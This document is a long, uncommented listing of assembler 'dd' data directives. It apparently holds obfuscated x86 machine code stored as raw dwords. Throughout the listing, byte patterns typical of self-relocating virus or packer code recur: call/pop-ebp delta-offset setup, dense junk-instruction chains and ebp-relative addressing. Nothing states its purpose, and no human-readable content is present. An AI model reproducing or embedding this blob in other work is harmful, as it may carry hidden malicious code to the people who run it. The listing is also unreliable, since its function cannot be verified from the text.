		dd 0E68A57B0h, 0B8D6BF5Fh, 506113EEh, 48B0Fh, 0BE660000h
		dd 6693EB5Ah, 0B5FFF28Bh, 61E14EDh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0E8C35040h,	4FF08E1Fh, 6BA8B6B4h
		dd 1D1DB529h, 95FF061Eh, 61E26C1h, 8C0Fh, 0B00000h, 18D5B503h
		dd 70E6061Eh, 13E860h, 51550000h, 0B52220B4h, 0F594F822h
		dd 31FC8C4Ch, 8B33CAA9h, 810F70h, 5F000000h, 3C71E461h
		dd 1830F61h, 6A000003h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0FCA3C351h,	0ABEDAE7Eh
		dd 17A5B58Bh, 0B60F061Eh, 50006AD8h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0B58B46F7h
		dd 61E2971h, 6BAh, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 6AC38B33h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0ABD7C351h
		dd 0E86AA911h, 0C15C4687h, 6A04E8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 4B0B7BC3h
		dd 0CC039320h, 0BD01DBECh, 61E1FEDh, 6AE2F766h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0BD4EC350h, 0DDB934B9h, 11E19036h, 20D1BD8Bh, 0D82B061Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 1AC35141h
		dd 66EE552Dh, 6A58F78Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 9B5EC353h, 259F8E94h
		dd 880FD82Bh, 1C4h, 14E9h, 59D35E00h, 6D6B1A95h, 6DE25A75h
		dd 0C43E1A46h, 0E6EA6BCh, 7B963h, 0C1830000h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0F8D9BA99h, 0BD89E215h, 61E01E5h, 0E9F5ECBEh, 0FD93B27h
		dd 16F86h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 1915695Dh, 498D8957h, 5E061E0Eh
		dd 8BD98C66h, 1E0885B5h, 0F1B58906h, 0F6061E13h, 840F04C1h
		dd 10Ch, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 16h,	0DC35040h, 81669EA9h, 0F611EEFh, 95FFFAB7h, 61E1A8Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4FC35343h
		dd 0AA95E9ABh, 0C78C25A4h, 0B70F6083h, 0F59D8BC7h, 61061E2Ch
		dd 52006A5Bh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 442B9A2Ch, 0E988B999h, 0C32BBB64h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 2DC35343h, 3001B58Bh
		dd 343D061Eh, 0F000008h, 5B86h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0BA8854BEh
		dd 0A683E6A2h, 19158509h, 51E9061Eh, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 3F59C351h, 0BE9h, 68953700h,	92254A69h, 8DB2705Dh, 6AC08Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0B15D2DC3h, 0B24763E9h, 0D88BC38Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 1C35646h, 2C0919A6h, 85C7B54Ch
		dd 61E0DF9h, 36F611F5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0B8C35040h, 0BD8BAF23h, 61E009Dh, 0BD29C08Bh
		dd 61E1D8Dh, 14EDBD81h,	7D0061Eh, 850F0000h, 47h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0E5C35040h, 0AAA8E681h
		dd 85FF5436h, 61E14EDh,	12E957h, 3CD20000h, 0A5CE12C5h
		dd 6DCA2BC0h, 0C13D989Eh, 960EEB07h, 61BD035Fh,	0FF061E0Dh
		dd 1E14EDB5h, 8B666006h, 658D8BD9h, 61061E1Dh, 26C195FFh
		dd 8B0F061Eh, 8, 45858953h, 5F061E1Ah, 55BD8990h, 29061E2Ch
		dd 1E172D9Dh, 0DE816606h, 6AB05Dh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 4FF1B0C3h, 0A19CC92Fh
		dd 8BF98BFCh, 1E1AE1B5h, 0AE906h, 4D870000h, 6C7A8B4Dh
		dd 9B350F7Fh, 0EE8h, 21E70600h,	4C7B690Bh, 37EDE2DAh, 0BEA2A052h
		dd 2F70C7AEh, 0C880F5Eh, 8B000000h, 1E2B2DB5h, 0F5B58B06h
		dd 0F061E0Ch, 81FCF0B7h, 1DDF39F6h, 0F7B70F3Eh,	2769BD8Bh
		dd 8B66061Eh, 0B18531F2h, 8B061E26h, 1E1D29B5h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 22A4B94Dh, 37410C91h, 0BD8B9F16h, 61E1975h, 9156DF81h
		dd 6A471Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0CD059BC3h, 891AB004h, 1E2D21BDh,	10E806h
		dd 21DF0000h, 0B84EFC13h, 0AEE5BC59h, 0BEAFF76Ah, 0BE663ED6h
		dd 8A0F6D02h, 6, 2B89B531h, 0E95F061Eh,	0FFFFF749h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 3AC35343h, 0C18BA566h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0C0C35242h
		dd 0F3B70F60h, 4EB61h, 89000000h, 1E0EAD8Dh, 0F0B70F06h
		dd 19DD858Dh, 0F50061Eh, 38Ah, 0F78B6600h, 6A240489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0AC92C350h, 6660F5BEh, 68A8F681h, 10E8h, 87757800h
		dd 7A8B4D4Dh, 350F7F6Ch, 4CD059Bh, 0BE9B0h, 292D0000h
		dd 4E6894ADh, 0F4FF140Ch, 8B615A99h, 66006AF2h,	6AF18Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0BEC35646h
		dd 71FC4CC5h, 5E8h, 325AE500h, 895FEF71h, 1E2011B5h, 24858D06h
		dd 6A062203h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 34CC355h, 0B1998C57h, 8901536Dh
		dd 1E1E658Dh, 5C08306h,	0B9852960h, 8B061E21h, 1E1F8DB5h
		dd 0BD296106h, 61E2025h, 71BF6650h, 2404894Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 30C35343h, 0FF32D0A0h
		dd 1D5B58Bh, 6A061Eh, 0E852006Ah, 3, 5AC35A20h,	4245489h
		dd 4244481h, 18h, 49C35242h, 416FC8BEh,	68D0Fh,	95890000h
		dd 61E1525h, 6820Fh, 0B50B0000h, 61E22D9h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 294808C3h, 1E2C2195h, 95FFF906h, 61E21EDh, 0BD29F98Bh
		dd 61E3181h, 94B69D8Dh,	0B58B0621h, 61E310Dh, 6AD3FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0ACCBB8C3h, 48F295E1h, 830F1160h, 7,	18C0Fh,	0FFF90000h
		dd 1E1D9185h, 0EDBD8B06h, 0BF061E26h, 652EE2CEh, 90CE9h
		dd 0E800h, 815D0000h, 22032EEDh, 50EE8106h, 5733E70Ah
		dd 13E9h, 7F4ACB00h, 0C9F5DB5Dh, 0F1570E5Ah, 0D8A4FF44h
		dd 9C172B6Bh, 0EDBD815Eh, 0D0061E14h, 0F000007h, 16A86h
		dd 9D8BF800h, 61E1FA5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0A4C35343h, 0ED925579h, 0D25209A7h, 100E381h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0EAAF7C3h, 0EC778867h, 0A1D1BFD4h, 0DB0B41CAh
		dd 0C8850Fh, 83FC0000h,	22014BBDh, 840F0006h, 4Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 11C35343h, 8669AC13h
		dd 0A2E9E5h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 56502DC3h, 0CEE46CD9h, 0C77C5C87h
		dd 22014B85h, 106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 8DB3BE82h, 8BA3AB39h
		dd 1E0205BDh, 5E806h, 0D180000h, 662B530Fh, 3235E781h
		dd 95BD8B5Fh, 0E9061E29h, 30h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 55C35646h, 981BF2Fh, 85C732A4h
		dd 622014Bh, 0
		dd 59F8BE66h, 1FA59D8Dh, 0B589061Eh, 61E161Dh, 0FEFF2381h
		dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 938F16C3h, 662E8740h, 6ADB8Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 846075C3h
		dd 0F6E81757h, 840F04C3h, 7Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 71C35040h, 6A5F3C6Ch, 10E9CEh
		dd 0DC3C0000h, 9005C44Dh, 86962E86h, 199A0A44h,	27BEB255h
		dd 0FF3C5EF2h, 1E1A8D95h, 50509006h, 8E852h, 15100000h
		dd 47DBD7CAh, 55BEE07Ah, 5E2B3456h, 0BE8310Fh, 37000000h
		dd 0ED81BBC5h, 8B8A5E14h, 0BE66FB69h, 5A5F88A3h, 8B609058h
		dd 0A1958BDAh, 61061E20h, 496E9h, 0B0FC00h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 72C35646h, 861F7020h
		dd 0FC51AE43h, 6A70E65Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0D0D8C355h,	19759D89h
		dd 0E4F8061Eh, 95895771h, 61E16B5h, 0F6BF0F5Eh,	66D8B60Fh
		dd 0BAB77BBFh, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	66C35646h, 0F80BCCB0h, 4299589h, 0C38B061Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 12C35545h, 8D31A4E5h
		dd 61E07D1h, 3A23BE66h,	8104E8C1h, 1FFD91F7h, 0E2F76631h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 46C35141h
		dd 3CB33F6Fh, 0D82B90D4h, 31D9BD29h, 8950061Eh,	6A241Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 6060E9C3h, 1AF99589h, 9D8B061Eh, 61E0C8Dh, 13E961h
		dd 78A60000h, 0ABDE39E6h, 0ED44EFEEh, 2F3DC619h, 0F9A1857h
		dd 0B5FF6126h, 61E14EDh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 35C35040h, 2D929501h,	718D099Dh, 0FF061E13h
		dd 1E26C195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 77446EFh,	5DBD89A4h, 0B0061E1Bh
		dd 0FE900h, 0ACE40000h,	8B00BF28h, 590DEA6Fh, 0CDBF0BBFh
		dd 6670E626h, 71E4FA8Bh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 0F5C35040h, 61272C6Ah, 21E1B58Bh, 613C061Eh
		dd 2BD830Fh, 0B52B0000h, 61E2BB5h, 6231BE66h, 6AD8B60Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 977C357h,	2CC99F82h, 38EF120Ch, 0F201C681h
		dd 6BA21D5h, 0E9000000h, 10h, 0C81E3BDBh, 0AD6AFC4Fh, 0B35EAF97h
		dd 931E142Dh, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 35CEA2C3h, 4E8C1F5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 42C35141h, 49B0A9C7h
		dd 50D327FEh, 2E76EDBEh, 42BF667Fh, 0E2F76660h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0AAC35040h, 0BA16A8DBh
		dd 89B37AA0h, 81E68166h, 0F88B66EDh, 6AD82Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 800720C3h
		dd 5DBD8B52h, 8B061E32h, 1E2E29B5h, 11E95806h, 0F0000000h
		dd 6B5F432Dh, 0DAE26930h, 0E9B68718h, 0A5E073CAh, 880FD82Bh
		dd 19Fh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	1CC35343h, 1377B5B9h, 0BD8B13FAh, 61E1DA5h, 7B9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0B7F46D58h, 0B50391A0h, 61E07F9h, 1FC19D89h
		dd 0C183061Eh, 2DB58B00h, 3B061E2Ch, 34860FD9h,	81000001h
		dd 13E9BDEh, 0D98C6663h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0F6C35343h, 0AEFE9E1Bh, 8960FA6Dh, 1E18FD8Dh
		dd 0C1F66106h, 0D4840F04h, 60000000h, 0F81FBE66h, 34E9D181h
		dd 0FF61648Ch, 1E1A8D95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 8EADAB33h
		dd 0F18B66D6h, 53006A5Bh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0C27DF0ACh, 8B6D9072h
		dd 1E2DF9BDh, 0E9C32B06h, 0Fh, 9199ACE3h, 0F3425219h, 0F11854CEh
		dd 3D9A6C27h, 834h, 55860Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 6030ECC3h
		dd 0E6ED2BA9h, 0D8D89C4h, 0BF061E1Ah, 567C0CEEh, 46E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0C4BE666Dh, 8BF88B0Fh, 53006AC0h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 5B58924h, 8B061E2Ah,	8BD88BC3h, 1E0DE1B5h, 0BD85C706h
		dd 0F7061E09h, 6A74F493h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 3A36C355h, 2DBF9D12h
		dd 2B589B49h, 1E1FF1B5h, 6AC08B06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0E2C352h
		dd 85891D94h, 61E311Dh,	89BD29h, 0BD81061Eh, 61E14EDh
		dd 7D0h, 37850Fh, 8B0F0000h, 4,	203ABF66h, 14ED85FFh, 6A061Eh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 820FB1C3h, 5, 87D68166h, 0EDB5FF72h,	0E9061E14h, 8
		dd 4FA8AD7h, 427A99F7h,	26C195FFh, 12E9061Eh, 14000000h
		dd 9645C2EEh, 5D2238E3h, 6661E140h, 91921112h, 9E990DCh
		dd 39000000h, 7B08446Ch, 5F3270DDh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 92C35646h, 5F507F22h, 6AF28Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 84ACC0C3h, 0E8F88B66h, 8, 0EE29ACD3h, 0AC2A32FDh, 2E619589h
		dd 8B5E061Eh, 1E2DA5BDh, 8BFE8B06h, 1E1F45BDh, 0D27FBE06h
		dd 6A5BD7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E9A8D8C3h, 13h, 27F11854h, 33EB9A6Ch, 0DB90B05Ah
		dd 0F2AAF37Eh, 33C4C7F7h, 1E0E39B5h, 19B58B06h,	66061E19h
		dd 0C018C781h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	30C35040h, 0B70972A5h, 0BF0F519Fh, 6A5FF3h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0C368EFC3h, 3602CC19h, 411BD8Bh, 22E9061Eh, 6AFFFFF7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 5378C353h, 8E9h, 5F7AB400h, 7FA31218h, 8B665FFCh
		dd 6AC18BFBh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 5EC3C352h, 0F51DEFFh, 1465B529h
		dd 9D29061Eh, 61E1AF9h,	4EBh, 0BD230000h, 61E2BD1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6DC35545h, 0C52D0A89h
		dd 66B305F9h, 8DDCF2BFh
		dd 1E19DD85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 90509048h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 56C35747h, 0BC5DA64Dh, 6CB2A909h
		dd 850Fh, 6A0000h, 0FE9h, 0FB4DBD00h, 0F35B2256h, 3F1E08F1h
		dd 927C5828h, 0BD29006Ah, 61E0E31h, 0DCF858Dh, 88BE0622h
		dd 83528179h, 0B58B05C0h, 61E086Dh, 3CDBD8Bh, 0E850061Eh
		dd 0Eh,	0E1B1C535h, 530B03E0h, 0C7652E27h, 0FA8B9642h
		dd 2404895Eh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	34C35747h, 407D8E02h, 0F602CC1h, 0BD89CEBFh, 61E2BC1h
		dd 5CF8BF61h, 6A10E0h, 32CDB589h, 6A061Eh, 160DB501h, 95FF061Eh
		dd 61E21EDh, 2BB5BD8Bh,	9D8D061Eh, 62194B6h, 0E4D68166h
		dd 0D3FFF8BFh, 7E8h, 0A82CA500h, 0DE506571h, 0DBD335Eh
		dd 0FF061E02h, 1E1D9185h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 87D68158h
		dd 0E9434B3Eh, 803h, 0E8h, 0ED815D00h, 6220DD9h, 81FA8B66h
		dd 1E14EDBDh, 7D006h, 0F1860F00h, 8B000000h, 1E2CC5B5h
		dd 619D8B06h, 6A061E0Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 1827C355h, 0BF0FFE8Bh
		dd 0E381F0h, 0BF000001h, 6827CB71h, 850FDB0Bh, 71h, 0F08B6656h
		dd 66BD835Eh, 6220Ch, 27840Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 6BE9A3C3h
		dd 89000000h, 1E018585h, 6685C706h, 106220Ch, 56000000h
		dd 2B31B58Bh, 0E95E061Eh, 4Eh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 6C35747h, 0BC8FAEBEh, 6685C769h
		dd 6220Ch, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 8D1C350h, 0F400027Eh, 9D8D8FB8h
		dd 61E0E61h, 0FEFF2381h, 0B589FFFFh, 61E238Dh, 6ADB8C66h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 2965C353h, 1E02059Dh, 4C3F606h, 8B840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0E7A109C3h, 8F98B052h, 0FFF5AE65h, 1E1A8D95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 33BF3F8Dh, 9001BD5Bh, 9E9h, 2FC4FF00h, 195556B4h
		dd 90508BDEh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0FBC35141h, 2DADB58Bh, 6E9061Eh, 0C4000000h, 9FBF4DB9h
		dd 463E96Ch, 0BD8B0000h, 61E2CFDh, 895300B0h, 1E0EB18Dh
		dd 70E65F06h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	50C35747h, 6EE056D9h, 0DF81C760h, 322337E6h, 0E018E681h
		dd 71E40EEBh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	0FEC35040h, 0EEC78151h,	5E5BEA12h, 11E9h, 139AC400h
		dd 0BD7A226Fh, 5B47620Dh, 2E683A6h, 0B60FF658h,	0A1BD8BD8h
		dd 0BA061E16h, 6, 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0AA3B07C3h, 0E78150EAh
		dd 62D7D5BFh, 4E8C15Eh,	126DB58Bh, 0F766061Eh, 51006AE2h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0F8D5ECA6h, 7E861h, 863A0000h, 0D64CB7F0h, 5EFB8B4Ch
		dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 9743A5C3h, 4B4F6DF5h, 8B6DBE94h, 8B6693F9h
		dd 525050F0h, 9BEBE66h,	5250310Fh, 310FFA8Bh, 585A585Ah
		dd 51006A93h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 14E957h,	45250000h, 53AD2E7Fh, 7AC42C41h
		dd 0F918CCCFh, 0CAF5E252h, 0B5FF5937h, 61E14EDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0D3C35040h, 8BFC604Ah
		dd 1E2DE585h, 95FF6106h, 61E26C1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 1EC35747h, 0A3DB8371h, 6A00B0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0E828EFC3h, 0E0F1BB55h, 0FF08B66h, 382h, 0F2B70F00h
		dd 0E68170E6h, 7D3D37DAh, 10E9h, 7EAC5200h, 0B26E82DEh
		dd 0E01D056Bh, 1C9981AFh, 0F71E426h, 0E8Ah, 8E800h, 7DE90000h
		dd 0DC7047C1h, 3C5FF221h, 42830F61h, 8B000002h,	1E3399BDh
		dd 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	51C35545h, 0FE220B24h, 0EAB0344Ah, 0DF816668h
		dd 6BA3D17h, 0BF000000h, 54A03391h, 8166C38Bh, 8B7A84CEh
		dd 1E04FDBDh, 4E8C106h,	78E0Fh,	0F600000h, 6160F9BFh, 0E2F76661h
		dd 0BF0FD82Bh, 6E958F0h, 0A6000000h, 5F9860F9h,	0FD82B56h
		dd 1CC88h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0A7176C52h, 7B9EA13h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0A9ACC353h, 0E25C0D3Fh, 0ADF7E0Fh, 13E9h
		dd 26709100h, 6925EB94h, 43A7078Dh, 0DDF04C19h,	60D167h
		dd 0C259501h, 0C183061Eh, 5EE8100h, 8113A029h, 0B565F1D7h
		dd 0FD93B0Dh, 14C86h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 9DB7C7C0h, 1314507Bh
		dd 8C666061h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0B7E90DFAh, 4B271FFh, 0F18BCD6Fh
		dd 0F04C1F6h, 0D684h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0AB1250E9h, 0FF0B60C2h
		dd 1E1A8D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 22618524h, 29DDB58Bh, 0B58B061Eh
		dd 61E2C29h, 53006A5Bh,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 2792972Ah, 0B589E2F7h, 61E1465h
		dd 6AC32Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 8BBBD7C3h, 7133B8D8h, 8343Dh, 2C860F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0F4A9C357h, 8736BE66h,	24E9h
		dd 89B53100h, 8B061E07h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 8BC38B9Ch, 6860FD8h, 8B000000h
		dd 1E3159B5h, 0A585C706h, 17061E1Fh, 6A35EE5Dh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 2F2AC351h, 19BFF7FAh, 6591CD40h, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 19B1EDC3h
		dd 0F385CE32h, 14E78166h, 219D89C6h, 81061E12h,	1E14EDBDh
		dd 7D006h, 16850F00h, 0F000000h, 8Fh, 0ED85FF00h, 31061E14h
		dd 1E16A1BDh, 81BE6606h
		dd 0EDB5FFB8h, 0FF061E14h, 1E26C195h, 0E1B50306h, 90061E21h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 17C35040h
		dd 9EC6A86Bh, 84B66056h, 61F96160h, 0F830Fh, 0AE90000h
		dd 0C7000000h, 737492F2h, 0C6CA1A6Ah, 6A5E28h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 570565C3h, 0EF78152Eh, 0B58BDD2Eh, 61E2DADh,	7FFCF681h
		dd 0BF0F5E89h, 0F08B66F2h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 61C35646h, 2F4FF1B0h,	55006AC9h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 8B66BF77h, 7E8FAh, 62F40000h, 7F9B57A8h, 0F68166A4h
		dd 0B70FDEE4h, 6A5FF2h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 33D042C3h, 1E0005BDh, 6840F06h
		dd 89000000h, 1E19D585h, 23C78106h, 813BB9EDh, 9F4665DEh
		dd 0F81EE92Ch, 6AFFFFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0FA6AD3C3h, 8BCD4CE4h, 0BD3160C1h
		dd 61E0C79h, 28C0Fh, 0FA8B0000h, 4EB61h, 60000000h, 0AE9h
		dd 3BAF3A00h, 55AD6B2h,	8BDA4456h, 1E33598Dh, 0BD8B6106h
		dd 61E0281h, 19DD858Dh,	0E990061Eh, 9, 0B28B8556h, 6EEF3886h
		dd 0F4BF50F5h, 904F41B6h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0D8C35646h, 763BB3CCh, 6F53139Eh, 69BD8BE2h
		dd 6A061E0Dh, 0FFBF0F00h, 8DF9006Ah, 22176485h,	83F78B06h
		dd 6A05C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0B98F1CC3h, 29682F6h, 0B70F2528h,	8B6650FBh
		dd 240489F8h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	31C35242h, 8B666028h, 0D28166D8h, 6A614A5Ah, 0DE816600h
		dd 6AB8BFh, 21C5BD89h, 8B66061Eh, 0ED95FFF8h, 6A061E21h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0ADC3C352h, 36AD23D6h, 299A5420h,	1E154DBDh
		dd 58E0F06h, 60000000h,	61F86160h, 94B69D8Dh, 6A0621h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 69AF18C3h, 0C1599777h, 0BD03D3FFh, 61E21A5h,	1D9185FFh
		dd 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0F66202C3h, 9D89F4C5h, 61E0111h, 7DCE9h
		dd 0E800h, 815D0000h, 22176EEDh, 0EDBD8106h, 0D0061E14h
		dd 0F000007h, 10086h, 2DBD8B00h, 8B061E23h, 1E04599Dh
